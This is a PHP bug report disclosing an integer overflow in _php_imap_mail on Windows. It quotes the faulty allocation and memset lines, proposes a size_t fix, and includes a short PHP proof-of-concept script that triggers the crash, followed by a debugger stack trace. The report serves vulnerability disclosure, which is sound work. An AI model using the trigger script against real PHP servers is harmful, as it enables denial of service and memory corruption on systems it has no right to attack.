Description:
------------
Hi

I just review the code of PHP7 and I found an Integer Overflow in function _php_imap_mail.

The implementation of _php_imap_mail is OS-independent, the bug is only occurs in Windows platform.

In file ext/imap/php_imap.c line 3953.

```
3953	bufferHeader = (char *)emalloc(bufferLen + 1);
3954	memset(bufferHeader, 0, bufferLen);
```

bufferLen is declared as type int. But the argument's type of emalloc is size_f. So if we provide bufferLen 0xffffffff, emalloc will create a memory with zero byte, and next line, memset will set 0xffffffff bytes to NULL.

I think the patch is just change the type of bufferLen from int to size_t!



Test script:
---------------
<?php
    ini_set("memory_limit", "-1");

    $subject = 'x';
    $message = 'x';

    $g = (0xffffffff - 12);
    $to = str_repeat("x", $g/3 );
    $header = str_repeat("x", $g/3 );
    $cc =  str_repeat("x", $g/3 );

    imap_mail($to, $subject, $message, $header, $cc);

Actual result:
--------------
0:000> kb
 # RetAddr           : Args to Child                                                           : Call Site
00 00007ffe`032d7e35 : 00000000`ffffffff 00007ffd`f3ef3453 00000221`bc600000 00000000`55600000 : VCRUNTIME140!memset+0x49
01 00007ffe`032d864f : 00000221`66e00040 00000221`66e56418 00000221`66e56418 00000221`67000018 : php_imap!_php_imap_mail+0xa5 [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\ext\imap\php_imap.c @ 3955]
02 00007ffd`f3efadd3 : 00000221`66e56400 00000221`66e6a3e0 00000221`00000000 00000221`66e56400 : php_imap!zif_imap_mail+0x14f [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\ext\imap\php_imap.c @ 4115]
03 (Inline Function) : --------`-------- --------`-------- --------`-------- --------`-------- : php7!ZEND_DO_ICALL_SPEC_HANDLER+0x3f [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\zend\zend_vm_execute.h @ 586]
04 00007ffd`f3f1d54c : 00000000`ffffffff 00000000`00000000 00000221`66e7e000 000000c5`bb3ff560 : php7!execute_ex+0x143 [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\zend\zend_vm_execute.h @ 417]
05 00007ffd`f3f1d339 : 00000221`66e5c480 000000c5`bb3ff560 00000000`00000001 00000000`00000001 : php7!zend_execute+0x16c [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\zend\zend_vm_execute.h @ 459]
06 00007ffd`f3f1d1a7 : 00000000`00000008 00000000`00000000 000000c5`00000003 00000000`00000000 : php7!zend_execute_scripts+0x119 [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\zend\zend.c @ 1428]
07 00007ff6`83f91c12 : 00000000`00000000 00000221`66e03018 00000221`66e73200 00000221`66e03030 : php7!php_execute_script+0x477 [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\main\main.c @ 2494]
08 00007ff6`83f91483 : 00000000`00000000 00000000`00000000 00007ff6`83f91560 00000000`00000000 : php!do_cli+0x692 [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\sapi\cli\php_cli.c @ 975]
09 00007ff6`83f92629 : 00000000`00000000 00000000`00000000 00007ffe`27a369f8 00000000`00000000 : php!main+0x3d3 [c:\php-sdk\php70dev\vc14\x64\php-7.0.12\sapi\cli\php_cli.c @ 1344]
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\System32\KERNEL32.DLL - 
0a (Inline Function) : --------`-------- --------`-------- --------`-------- --------`-------- : php!invoke_main+0x22 [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 64]
0b 00007ffe`29b88364 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : php!__scrt_common_main_seh+0x11d [f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl @ 253]
0c 00007ffe`2a655e91 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
0d 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21